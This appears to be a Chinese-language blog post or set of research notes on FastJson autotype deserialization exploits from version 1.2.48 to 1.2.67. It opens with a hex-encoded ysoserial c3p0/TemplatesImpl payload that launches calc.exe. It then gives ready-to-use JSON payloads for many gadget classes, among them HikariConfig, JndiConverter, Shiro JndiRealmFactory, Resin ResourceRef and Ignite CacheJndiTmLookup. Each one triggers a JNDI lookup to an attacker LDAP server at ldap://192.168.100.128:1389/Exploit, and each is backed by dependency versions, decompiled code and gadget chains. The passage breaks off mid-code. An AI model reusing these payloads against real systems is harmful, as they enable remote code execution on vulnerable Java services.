2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F444F4D3B5B4C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F73657269616C697A65722F53657269616C697A6174696F6E48616E646C65723B2956010008646F63756D656E7401002D4C636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F444F4D3B01000868616E646C6572730100425B4C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F73657269616C697A65722F53657269616C697A6174696F6E48616E646C65723B01000A457863657074696F6E730700270100A6284C636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F444F4D3B4C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F64746D2F44544D417869734974657261746F723B4C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F73657269616C697A65722F53657269616C697A6174696F6E48616E646C65723B29560100086974657261746F720100354C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F64746D2F44544D417869734974657261746F723B01000768616E646C65720100414C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F73657269616C697A65722F53657269616C697A6174696F6E48616E646C65723B01000A536F7572636546696C6501000C476164676574732E6A6176610C000A000B07002801003379736F73657269616C2F7061796C6F6164732F7574696C2F4761646765747324537475625472616E736C65745061796C6F6164010040636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F72756E74696D652F41627374726163745472616E736C65740100146A6176612F696F2F53657269616C697A61626C65010039636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F5472616E736C6574457863657074696F6E01001F79736F73657269616C2F7061796C6F6164732F7574696C2F476164676574730100083C636C696E69743E0100116A6176612F6C616E672F52756E74696D6507002A01000A67657452756E74696D6501001528294C6A6176612F6C616E672F52756E74696D653B0C002C002D0A002B002E01000863616C632E65786508003001000465786563010027284C6A6176612F6C616E672F537472696E673B294C6A6176612F6C616E672F50726F636573733B0C003200330A002B003401000D537461636B4D61705461626C6501001D79736F73657269616C2F50776E6572333734323337373836333635333501001F4C79736F73657269616C2F50776E657233373432333737383633363533353B002100020003000100040001001A000500060001000700000002000800040001000A000B0001000C0000002F00010001000000052AB70001B100000002000D0000000600010000002F000E0000000C000100000005000F003800000001001300140002000C0000003F0000000300000001B100000002000D00000006000100000034000E00000020000300000001000F0038000000000001001500160001000000010017001800020019000000040001001A00010013001B0002000C000000490000000400000001B100000002000D00000006000100000038000E0000002A000400000001000F003800000000000100150016000100000001001C001D000200000001001E001F00030019000000040001001A00080029000B0001000C00000024000300020000000FA70003014CB8002F1231B6003557B1000000010036000000030001030002002000000002002100110000000A000100020023001000097571007E0018000001D4CAFEBABE00000032001B0A0003001507001707001807001901001073657269616C56657273696F6E5549440100014A01000D436F6E7374616E7456616C75650571E669EE3C6D47180100063C696E69743E010003282956010004436F646501000F4C696E654E756D6265725461626C650100124C6F63616C5661726961626C655461626C6501000474686973010003466F6F01000C496E6E6572436C61737365730100254C79736F73657269616C2F7061796C6F6164732F7574696C2F4761646765747324466F6F3B01000A536F7572636546696C6501000C476164676574732E6A6176610C000A000B07001A01002379736F73657269616C2F7061796C6F6164732F7574696C2F4761646765747324466F6F0100106A6176612F6C616E672F4F626A6563740100146A6176612F696F2F53657269616C697A61626C6501001F79736F73657269616C2F7061796C6F6164732F7574696C2F47616467657473002100020003000100040001001A000500060001000700000002000800010001000A000B0001000C0000002F00010001000000052AB70001B100000002000D0000000600010000003C000E0000000C000100000005000F001200000002001300000002001400110000000A000100020016001000097074000450776E727077010078737200116A6176612E6C616E672E496E746567657212E2A0A4F781873802000149000576616C7565787200106A6176612E6C616E672E4E756D62657286AC951D0B94E08B02000078700000000178

payload

1
2
3
4
5
6
7
8
9
10
11
{
"e": {
"@type": "java.lang.Class",
"val": "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"
},
"f": {
"@type": "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource",
"userOverridesAsString": "HexAsciiSerializedMap:ACED0005737200176A6176612E7574696C2E5072696F72697479517565756594DA30B4FB3F82B103000249000473697A654C000A636F6D70617261746F727400164C6A6176612F7574696C2F436F6D70617261746F723B787000000002737200426F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E73342E636F6D70617261746F72732E5472616E73666F726D696E67436F6D70617261746F722FF984F02BB108CC0200024C00096465636F726174656471007E00014C000B7472616E73666F726D657274002D4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E73342F5472616E73666F726D65723B7870737200406F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E73342E636F6D70617261746F72732E436F6D70617261626C65436F6D70617261746F72FBF49925B86EB13702000078707372003B6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E73342E66756E63746F72732E496E766F6B65725472616E73666F726D657287E8FF6B7B7CCE380200035B000569417267737400135B4C6A6176612F6C616E672F4F626A6563743B4C000B694D6574686F644E616D657400124C6A6176612F6C616E672F537472696E673B5B000B69506172616D54797065737400125B4C6A6176612F6C616E672F436C6173733B7870757200135B4C6A6176612E6C616E672E4F626A6563743B90CE589F1073296C02000078700000000074000E6E65775472616E73666F726D6572757200125B4C6A6176612E6C616E672E436C6173733BAB16D7AECBCD5A990200007870000000007704000000037372003A636F6D2E73756E2E6F72672E6170616368652E78616C616E2E696E7465726E616C2E78736C74632E747261782E54656D706C61746573496D706C09574FC16EACAB3303000649000D5F696E64656E744E756D62657249000E5F7472616E736C6574496E6465785B000A5F62797465636F6465737400035B5B425B00065F636C61737371007E000B4C00055F6E616D6571007E000A4C00115F6F757470757450726F706572746965737400164C6A6176612F7574696C2F50726F706572746965733B787000000000FFFFFFFF757200035B5B424BFD19156767DB37020000787000000002757200025B42ACF317F8060854E002000078700000069CCAFEBABE0000003200390A0003002207003707002507002601001073657269616C56657273696F6E5549440100014A01000D436F6E7374616E7456616C756505AD2093F391DDEF3E0100063C696E69743E010003282956010004436F646501000F4C696E654E756D6265725461626C650100124C6F63616C5661726961626C655461626C6501000474686973010013537475625472616E736C65745061796C6F616401000C496E6E6572436C61737365730100354C79736F73657269616C2F7061796C6F6164732F7574696C2F4761646765747324537475625472616E736C65745061796C6F61643B0100097472616E73666F726D010072284C636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F444F4D3B5B4C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F73657269616C697A65722F53657269616C697A6174696F6E48616E646C65723B2956010008646F63756D656E7401002D4C636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F444F4D3B01000868616E646C6572730100425B4C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F73657269616C697A65722F53657269616C697A6174696F6E48616E646C65723B01000A457863657074696F6E730700270100A6284C636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F444F4D3B4C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F64746D2F44544D417869734974657261746F723B4C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F73657269616C697A65722F53657269616C697A6174696F6E48616E646C65723B29560100086974657261746F720100354C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F64746D2F44544D417869734974657261746F723B01000768616E646C65720100414C636F6D2F73756E2F6F72672F6170616368652F786D6C2F696E7465726E616C2F73657269616C697A65722F53657269616C697A6174696F6E48616E646C65723B01000A536F7572636546696C6501000C476164676574732E6A6176610C000A000B07002801003379736F73657269616C2F7061796C6F6164732F7574696C2F4761646765747324537475625472616E736C65745061796C6F6164010040636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F72756E74696D652F41627374726163745472616E736C65740100146A6176612F696F2F53657269616C697A61626C65010039636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696E7465726E616C2F78736C74632F5472616E736C6574457863657074696F6E01001F79736F73657269616C2F7061796C6F6164732F7574696C2F476164676574730100083C636C696E69743E0100116A6176612F6C616E672F52756E74696D6507002A01000A67657452756E74696D6501001528294C6A6176612F6C616E672F52756E74696D653B0C002C002D0A002B002E01000863616C632E65786508003001000465786563010027284C6A6176612F6C616E672F537472696E673B294C6A6176612F6C616E672F50726F636573733B0C003200330A002B003401000D537461636B4D61705461626C6501001D79736F73657269616C2F50776E6572333734323337373836333635333501001F4C79736F73657269616C2F50776E657233373432333737383633363533353B002100020003000100040001001A000500060001000700000002000800040001000A000B0001000C0000002F00010001000000052AB70001B100000002000D0000000600010000002F000E0000000C000100000005000F003800000001001300140002000C0000003F0000000300000001B100000002000D00000006000100000034000E00000020000300000001000F0038000000000001001500160001000000010017001800020019000000040001001A00010013001B0002000C000000490000000400000001B100000002000D00000006000100000038000E0000002A000400000001000F003800000000000100150016000100000001001C001D000200000001001E001F00030019000000040001001A00080029000B0001000C00000024000300020000000FA70003014CB8002F1231B6003557B1000000010036000000030001030002002000000002002100110000000A000100020023001000097571007E0018000001D4CAFEBABE00000032001B0A0003001507001707001807001901001073657269616C56657273696F6E5549440100014A01000D436F6E7374616E7456616C75650571E669EE3C6D47180100063C696E69743E010003282956010004436F646501000F4C696E654E756D6265725461626C650100124C6F63616C5661726961626C655461626C6501000474686973010003466F6F01000C496E6E6572436C61737365730100254C79736F73657269616C2F7061796C6F6164732F7574696C2F4761646765747324466F6F3B01000A536F7572636546696C6501000C476164676574732E6A6176610C000A000B07001A01002379736F73657269616C2F7061796C6F6164732F7574696C2F4761646765747324466F6F0100106A6176612F6C616E672F4F626A6563740100146A6176612F696F2F53657269616C697A61626C6501001F79736F73657269616C2F7061796C6F6164732F7574696C2F47616467657473002100020003000100040001001A000500060001000700000002000800010001000A000B0001000C0000002F00010001000000052AB70001B100000002000D0000000600010000003C000E0000000C000100000005000F001200000002001300000002001400110000000A000100020016001000097074000450776E727077010078737200116A6176612E6C616E672E496E746567657212E2A0A4F781873802000149000576616C7565787200106A6176612E6C616E672E4E756D62657286AC951D0B94E08B02000078700000000178;"
}
}

WrapperConnectionPoolDataSource.class用的父类的settercom.mchange.v2.c3p0.impl.WrapperConnectionPoolDataSourceBase#setUserOverridesAsString

步入,跳到com.mchange.v2.c3p0.WrapperConnectionPoolDataSource#setUpPropertyListeners

调用com.mchange.v2.c3p0.impl.C3P0ImplUtils#parseUserOverridesAsString

1
2
3
4
5
6
7
8
9
public static Map parseUserOverridesAsString(String var0) throws IOException, ClassNotFoundException {
if (var0 != null) {
String var1 = var0.substring("HexAsciiSerializedMap".length() + 1, var0.length() - 1);
byte[] var2 = ByteUtils.fromHexAscii(var1);
return Collections.unmodifiableMap((Map)SerializableUtils.fromByteArray(var2));
} else {
return Collections.EMPTY_MAP;
}
}

substring截取16进制数据

然后return调用com.mchange.v2.ser.SerializableUtils#fromByteArray(byte[])进行反序列化

最后return var1.readObject();调用java原生的java.io.ObjectInputStream的反序列化方法,将输入字节数据反序列化

gadget

1
setUserOverridesAsString -> setUpPropertyListeners -> parseUserOverridesAsString -> fromByteArray -> readObject()

FastJson 1.2.48

MiscCodec.javacache缓存设置成false

checkAutoType()

至此之后的版本,寻找可用的gadget基本都是绕过黑名单为主,并且绕过需要特定的依赖,利用范围比较小。

FastJson ≤ 1.2.59 开启autotype

com.zaxxer.hikari.HikariConfig 需要 HikariCP依赖

pom

1
2
3
4
5
6
7
8
9
10
11
12
13
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.59</version>
</dependency>

<!-- HikariCP 连接池(含 HikariConfig 类) -->
<dependency>
<groupId>com.zaxxer</groupId>
<artifactId>HikariCP</artifactId>
<version>4.0.3</version> <!--测试<=4.0.3 可用 -->
</dependency>

payload

1
2
3
4
{
"@type": "com.zaxxer.hikari.HikariConfig",
"metricRegistry": "ldap://192.168.100.128:1389/Exploit"
}

com.zaxxer.hikari.HikariConfig#setMetricRegistrymetricRegistry = this.getObjectOrPerformJndiLookup(metricRegistry);调用了getObjectOrPerformJndiLookup

1
2
3
4
5
6
7
8
9
10
11
12
13
public void setMetricRegistry(Object metricRegistry) {
if (this.metricsTrackerFactory != null) {
throw new IllegalStateException("cannot use setMetricRegistry() and setMetricsTrackerFactory() together");
} else {
if (metricRegistry != null) {
metricRegistry = this.getObjectOrPerformJndiLookup(metricRegistry);
if (!UtilityElf.safeIsAssignableFrom(metricRegistry, "com.codahale.metrics.MetricRegistry") && !UtilityElf.safeIsAssignableFrom(metricRegistry, "io.micrometer.core.instrument.MeterRegistry")) {
throw new IllegalArgumentException("Class must be instance of com.codahale.metrics.MetricRegistry or io.micrometer.core.instrument.MeterRegistry");
}
}

this.metricRegistry = metricRegistry;

com.zaxxer.hikari.HikariConfig#getObjectOrPerformJndiLookup

1
2
3
4
5
6
7
8
9
10
11
12
private Object getObjectOrPerformJndiLookup(Object object) {
if (object instanceof String) {
try {
InitialContext initCtx = new InitialContext();
return initCtx.lookup((String)object);
} catch (NamingException var3) {
throw new IllegalArgumentException(var3);
}
} else {
return object;
}
}

gadget

1
"@type": "com.zaxxer.hikari.HikariConfig" -> setMetricRegistry -> getObjectOrPerformJndiLookup -> lookup

利用另一个setter的payload

1
2
3
4
{
"@type": "com.zaxxer.hikari.HikariConfig",
"healthCheckRegistry": "ldap://192.168.100.128:1389/Exploit"
}

com.zaxxer.hikari.HikariConfig#setHealthCheckRegistry

1
2
3
4
5
6
7
8
9
10
11
public void setHealthCheckRegistry(Object healthCheckRegistry) {
this.checkIfSealed();
if (healthCheckRegistry != null) {
healthCheckRegistry = this.getObjectOrPerformJndiLookup(healthCheckRegistry);
if (!(healthCheckRegistry instanceof HealthCheckRegistry)) {
throw new IllegalArgumentException("Class must be an instance of com.codahale.metrics.health.HealthCheckRegistry");
}
}

this.healthCheckRegistry = healthCheckRegistry;
}

同样调用了com.zaxxer.hikari.HikariConfig#getObjectOrPerformJndiLookup

gadget

1
"@type": "com.zaxxer.hikari.HikariConfig" -> setHealthCheckRegistry -> getObjectOrPerformJndiLookup -> lookup

FastJson ≤ 1.2.61 开启autotype

SessionBeanProvider 网传未复现成功

pom

1
2
3
4
5
6
7
8
9
10
11
12
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.61</version>
</dependency>

<!-- Apache Commons Proxy(提供 SessionBeanProvider 类) -->
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-proxy</artifactId>
<version>1.0</version> <!-- 包含 SessionBeanProvider -->
</dependency>

payload

1
2
3
4
5
{
"@type": "org.apache.commons.proxy.provider.remoting.SessionBeanProvider",
"jndiName": "ldap://192.168.100.128:1389/Exploit",
"Object": "a"
}

报错是被checkAutoType黑名单拦截了

D:\maven_repo\org\apache\commons\commons-proxy\1.0\commons-proxy-1.0.jar!\org\apache\commons\proxy\provider\remoting\SessionBeanProvider.class

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package org.apache.commons.proxy.provider.remoting;

import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.Properties;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import javax.rmi.PortableRemoteObject;
import org.apache.commons.proxy.ObjectProvider;
import org.apache.commons.proxy.ProxyUtils;
import org.apache.commons.proxy.exception.ObjectProviderException;

public class SessionBeanProvider implements ObjectProvider {
private final String jndiName;
private final Class homeInterface;
private final Properties properties;

public SessionBeanProvider(String jndiName, Class homeInterface) {
this.jndiName = jndiName;
this.homeInterface = homeInterface;
this.properties = null;
}

public SessionBeanProvider(String jndiName, Class homeInterface, Properties properties) {
this.jndiName = jndiName;
this.homeInterface = homeInterface;
this.properties = properties;
}

public Object getObject() {
try {
InitialContext initialContext = this.properties == null ? new InitialContext() : new InitialContext(this.properties);
Object homeObject = PortableRemoteObject.narrow(initialContext.lookup(this.jndiName), this.homeInterface);
Method createMethod = homeObject.getClass().getMethod("create", ProxyUtils.EMPTY_ARGUMENT_TYPES);
return createMethod.invoke(homeObject, ProxyUtils.EMPTY_ARGUMENTS);
} catch (NoSuchMethodException var4) {
throw new ObjectProviderException("Unable to find no-arg create() method on home interface " + this.homeInterface.getName() + ".", var4);
} catch (IllegalAccessException var5) {
throw new ObjectProviderException("No-arg create() method on home interface " + this.homeInterface.getName() + " is not accessible.", var5);
} catch (NamingException var6) {
throw new ObjectProviderException("Unable to lookup EJB home object in JNDI.", var6);
} catch (InvocationTargetException var7) {
throw new ObjectProviderException("No-arg create() method on home interface " + this.homeInterface.getName() + " threw an exception.", var7);
}
}
}

FastJson ≤1.2.62 开启autotype

JndiConverter 需要xbean-reflect依赖

1
2
3
4
5
6
7
        <dependency>
<groupId>org.apache.xbean</groupId>
<artifactId>xbean-reflect</artifactId>
<version>4.27</version>
</dependency>

//目前最新版本4.27可以利用

payload

1
2
3
4
{
"@type":"org.apache.xbean.propertyeditor.JndiConverter",
"AsText":"ldap://192.168.100.128:1389/Exploit"
}

需要开启autotype

org.apache.xbean.propertyeditor.JndiConverter

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
package org.apache.xbean.propertyeditor;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;

public class JndiConverter extends AbstractConverter {
public JndiConverter() {
super(Context.class);
}

protected Object toObjectImpl(String text) {
try {
InitialContext context = new InitialContext();
return (Context)context.lookup(text);
} catch (NamingException var3) {
throw new PropertyEditorException(var3);
}
}

这里有一个lookup查询参数是text

这里构造方法用的是父类的org.apache.xbean.propertyeditor.AbstractConverter

1
setAsText()`调用了`toObject`然后调用`toObjectImpl

gadget

1
@type(JndiConverter)-> JndiConverter#JndiConverter -> AbstractConverter#setAsText -> AbstractConverter#toObject -> JndiConverter#toObjectImpl#lookup()

https://mvnrepository.com/artifact/com.alibaba/fastjson

下一个版本是1.2.63_noneautotype不支持autotype自然无法利用

再下一个版本1.2.66黑名单加了JndiConverter

FastJson ≤1.2.66 开启AutoType

gadget很多,jndi注入需要JDK版本支持

JndiRealmFactory shiro-core依赖

1
2
3
4
5
6
//shiro-core 1.x.x版本可以利用
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-core</artifactId>
<version>1.13.0</version>
</dependency>

payload

1
2
3
4
5
6
{
"@type": "org.apache.shiro.realm.jndi.JndiRealmFactory",
"jndiNames": ["ldap://192.168.100.128:1389/Exploit"],
"Realms": [""]
}

org.apache.shiro.realm.jndi.JndiRealmFactory

org.apache.shiro.realm.jndi.JndiRealmFactory#getRealms调用了lookup,参数是org.apache.shiro.realm.jndi.JndiRealmFactory#getJndiNames的返回值,并且需要键值为集合类型,因为Collection<String> jndiNames = null;setter接收的参数是Collection<String>(集合)类型

所以是getRealms触发的jndi,payload的Realms字段是必须的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public Collection<Realm> getRealms() throws IllegalStateException {
Collection<String> jndiNames = this.getJndiNames();
if (jndiNames != null && !jndiNames.isEmpty()) {
List<Realm> realms = new ArrayList(jndiNames.size());
Iterator var3 = jndiNames.iterator();

while(var3.hasNext()) {
String name = (String)var3.next();

try {
Realm realm = (Realm)this.lookup(name, Realm.class);
realms.add(realm);
} catch (Exception var6) {
throw new IllegalStateException("Unable to look up realm with jndi name '" + name + "'.", var6);
}
}

return realms.isEmpty() ? null : realms;
} else {
String msg = "One or more jndi names must be specified for the " + this.getClass().getName() + " to locate Realms.";
throw new IllegalStateException(msg);
}
}

为什么反序列化会调用getRealms,因为getRealms返回类型为Collection<Realm>,并且注意到这里没有setRealms方法,但是传入的键值对中有Realms并且值是集合,所以需要getRealms()获取集合实例然后通过反射或集合方法填充数据,如这里使用realms.add(realm)

所以gadget如下

1
"@type": "org.apache.shiro.realm.jndi.JndiRealmFactory" -> setJndiNames -> getRealms.lookup(getRealms)

AnterosDBCPConfig Anteros-DBCP依赖

1
2
3
4
5
<dependency>
<groupId>br.com.anteros</groupId>
<artifactId>Anteros-DBCP</artifactId>
<version>1.0.1</version>
</dependency>

payload

1
2
3
4
{
"@type": "br.com.anteros.dbcp.AnterosDBCPConfig",
"metricRegistry": "ldap://192.168.100.128:1389/Exploit"
}

br.com.anteros.dbcp.AnterosDBCPConfig#setMetricRegistry

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public void setMetricRegistry(Object metricRegistry) {
if (this.metricsTrackerFactory != null) {
throw new IllegalStateException("cannot use setMetricRegistry() and setMetricsTrackerFactory() together");
} else {
if (metricRegistry != null) {
metricRegistry = this.getObjectOrPerformJndiLookup(metricRegistry);
if (!UtilityElf.safeIsAssignableFrom(metricRegistry, "com.codahale.metrics.MetricRegistry") && !UtilityElf.safeIsAssignableFrom(metricRegistry, "io.micrometer.core.instrument.MeterRegistry")) {
throw new IllegalArgumentException("Class must be instance of com.codahale.metrics.MetricRegistry or io.micrometer.core.instrument.MeterRegistry");
}
}

this.metricRegistry = metricRegistry;
}
}

调用了getObjectOrPerformJndiLookup参数是metricRegistry

1
2
3
4
5
6
7
8
9
10
11
12
13
private Object getObjectOrPerformJndiLookup(Object object) {
if (object instanceof String) {
try {
InitialContext initCtx = new InitialContext();
return initCtx.lookup((String)object);
} catch (NamingException var3) {
throw new IllegalArgumentException(var3);
}
} else {
return object;
}
}

return initCtx.lookup((String)object)调用了lookup

gadget

1
"@type": "br.com.anteros.dbcp.AnterosDBCPConfig" -> setMetricRegistry -> getObjectOrPerformJndiLookup.lookup

另一个payload

1
2
3
4
{
"@type": "br.com.anteros.dbcp.AnterosDBCPConfig",
"healthCheckRegistry": "ldap://192.168.100.128:1389/Exploit"
}

br.com.anteros.dbcp.AnterosDBCPConfig#setHealthCheckRegistry

1
2
3
4
5
6
7
8
9
10
11
12

public void setHealthCheckRegistry(Object healthCheckRegistry) {
this.checkIfSealed();
if (healthCheckRegistry != null) {
healthCheckRegistry = this.getObjectOrPerformJndiLookup(healthCheckRegistry);
if (!(healthCheckRegistry instanceof HealthCheckRegistry)) {
throw new IllegalArgumentException("Class must be an instance of com.codahale.metrics.health.HealthCheckRegistry");
}
}

this.healthCheckRegistry = healthCheckRegistry;
}

同样调用了getObjectOrPerformJndiLookup

JtaTransactionConfig ibatis-sqlmap和jta依赖

1
2
3
4
5
6
7
8
9
10
11
<dependency>
<groupId>org.apache.ibatis</groupId>
<artifactId>ibatis-sqlmap</artifactId>
<version>2.3.4.726</version>
</dependency>

<dependency>
<groupId>javax.transaction</groupId>
<artifactId>jta</artifactId>
<version>1.1</version>
</dependency>

payload

1
2
3
4
5
6
7
{
"@type": "com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig",
"properties": {
"@type": "java.util.Properties",
"UserTransaction": "ldap://192.168.100.128:1389/Exploit"
}
}

com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig#setProperties

1
2
3
4
5
6
7
8
9
10
11
12

public void setProperties(Properties props) throws SQLException, TransactionException {
String utxName = null;

try {
utxName = (String)props.get("UserTransaction");
InitialContext initCtx = new InitialContext();
this.userTransaction = (UserTransaction)initCtx.lookup(utxName);
} catch (NamingException var4) {
throw new SqlMapException("Error initializing JtaTransactionConfig while looking up UserTransaction (" + utxName + "). Cause: " + var4);
}
}

参数是Properties的实例,而java.util.Properties#setProperty

1
2
3
public synchronized Object setProperty(String key, String value) {
return put(key, value);
}

通过put设置键值对也就是UserTransaction:ldap://192.168.100.128:1389/Exploit所以无需setUserTransaction

然后utxName = (String)props.get("UserTransaction");获取键值作为参数调用initCtx.lookup(utxName)jndi注入

gadget

1
"@type": "com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig" -> setProperties -> setProperty -> setProperties.lookup

ResourceRef com.caucho.resin依赖

pom

1
2
3
4
5
6
7
8
9
10
11
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.62</version>
</dependency>

<dependency>
<groupId>com.caucho</groupId>
<artifactId>resin</artifactId>
<version>4.0.66</version>
</dependency>

payload

1
2
3
4
5
6
7
{
"@type": "com.caucho.config.types.ResourceRef",
"lookupName": "ldap://192.168.100.128:1389/Exploit",
"value": {
"$ref": "$.value"
}
}

D:\maven_repo\com\caucho\resin\4.0.66\resin-4.0.66.jar!\com\caucho\config\types\ResourceRef.classcom.caucho.config.types.ResourceRef#getValue

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public Object getValue() {
Object value;
if (this._value != null) {
value = this._value;
} else {
if (this.getLookupName() != null) {
return Jndi.lookup(this.getLookupName());
}

InjectManager cdiManager = InjectManager.getCurrent();
value = cdiManager.getReference(this._bean);
}

return value;
}

没有定义变量和setter

1
2
3
"value": {
"$ref": "$.value"
}

循环引用,访问根节点(当前 JSON 根节点下)也就是ResourceRefinstance属性,Fastjson 会通过反射调用 getValue() 方法(如果存在)或直接访问 value字段来获取值(这里没有)

return Jndi.lookup(this.getLookupName());调用lookup参数是this.getLookupName()跟进这个方法发现是父类的gettercom.caucho.config.types.ResourceGroupConfig#getLookupName

因为子类没有重写gettersetter所以反序列化时用的是父类ResourceGroupConfigsettergetter

1
2
3
4
5
6
7
public void setLookupName(String lookupName) {
this._lookupName = lookupName;
}

public String getLookupName() {
return this._lookupName;
}

gadget

1
"@type": "com.caucho.config.types.ResourceRef" ->   发现 `$ref` -> 解析 `$.value` -> 反射调用 ResourceRef.getValue().lookup(getLookupName)

org.apache.cocoon.components.slide.impl.JMSContentInterceptor

pom

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
        <dependency>
<groupId>slide</groupId>
<artifactId>slide-kernel</artifactId>
<version>2.1</version>
</dependency>
<dependency>
<groupId>cocoon</groupId>
<artifactId>cocoon-slide</artifactId>
<version>2.1.11</version>
</dependency>

//需要javaee环境,非javaee需要引入下面的依赖
<dependency>
<groupId>javax.jms</groupId>
<artifactId>javax.jms-api</artifactId>
<version>2.0.1</version>
</dependency>
<dependency>
<groupId>javax.transaction</groupId>
<artifactId>javax.transaction-api</artifactId>
<version>1.3</version>
</dependency>

payload

1
2
3
4
5
6
7
8
9
{
"@type": "org.apache.cocoon.components.slide.impl.JMSContentInterceptor",
"parameters": {
// "@type": "java.util.Hashtable", //可有可无
"java.naming.factory.initial": "com.sun.jndi.rmi.registry.RegistryContextFactory",
"topic-factory": "ldap://192.168.100.128:1389/Exploit"
},
"namespace": ""
}

D:\maven_repo\cocoon\cocoon-slide\2.1.11\cocoon-slide-2.1.11.jar!\org\apache\cocoon\components\slide\impl\JMSContentInterceptor.class

可以看到触发lookup的是org.apache.cocoon.components.slide.impl.JMSContentInterceptor#setNamespace参数是this.m_topicFactoryName,所以需要传入"namespace": ""来触发setter

在调用lookup之前,如果想自定义参数(比如要ldap或者rmi)需要先初始化,InitialContext是访问命名服务的入口点,lookup() 方法需要知道从哪里查找资源(如 com.sun.jndi.rmi.registry.RegistryContextFactory

这里InitialContext()的参数是this.m_jndiPropslookup的参数m_topicFactoryName都在org.apache.cocoon.components.slide.impl.JMSContentInterceptor#setParameters通过getParameter来获取

需要传入一个parameters触发setParameters,并且设置"java.naming.factory.initial": "com.sun.jndi.rmi.registry.RegistryContextFactory""topic-factory": "ldap://192.168.100.128:1389/Exploit"

因为初始化时同时传入了

1
this.m_jndiProps.put("java.naming.provider.url", "rmi://localhost:1099/"); // 默认值或传入值

这告诉 JNDI 使用 RMI 注册表作为其初始的命名服务,com.sun.jndi.rmi.registry.RegistryContextFactory是用来与 RMI 注册表交互的工厂,只用于初始化, 以便能够开始 JNDI 操作

lookup() 方法接收到一个以 URL 形式(如 ldap://…, rmi://…, dns://… 等)的字符串参数时,JNDI 的行为会发生变化:

  • JNDI 会解析这个 URL,并识别出其协议 (scheme),在这里是 “ldap”。
  • 然后,JNDI 会尝试寻找并加载一个能够处理该特定协议的 URL 上下文工厂 (URL Context Factory)。
  • 对于 “ldap” 协议,它会寻找 LDAP 服务提供者 (LDAP Service Provider) 中注册的 LDAP URL 上下文工厂。
  • 如果找到了合适的 LDAP URL 上下文工厂(Java 运行时通常内置了 LDAP 服务提供者),JNDI 就会使用这个工厂来解析和处理该 LDAP URL。

gadget

1
JMSContentInterceptor#setNamespace -> JMSContentInterceptor#setParameters ->  -> InitialContext(this.m_jndiProps).lookup(topic-factory)

FastJson ≤1.2.67 开启AutoType

CacheJndiTmLookup 要ignite-core、ignite-jta和依赖

1
2
3
4
5
6
7
8
9
10
11
12
13
//测试<=2.16版本可以利用
<dependency>
<groupId>org.apache.ignite</groupId>
<artifactId>ignite-core</artifactId>
<version>2.16.0</version>
</dependency>

<dependency>
<groupId>org.apache.ignite</groupId>
<artifactId>ignite-jta</artifactId>
<version>2.16.0</version>
</dependency>

payload

1
2
3
4
5
6
7
8
9
{
"@type": "org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup",
"jndiNames": [
"ldap://192.168.100.128:1389/Exploit"
],
"tm": {
"$ref": "$.tm"
}
}

org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package org.apache.ignite.cache.jta.jndi;

import java.util.Iterator;
import java.util.List;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import javax.transaction.TransactionManager;
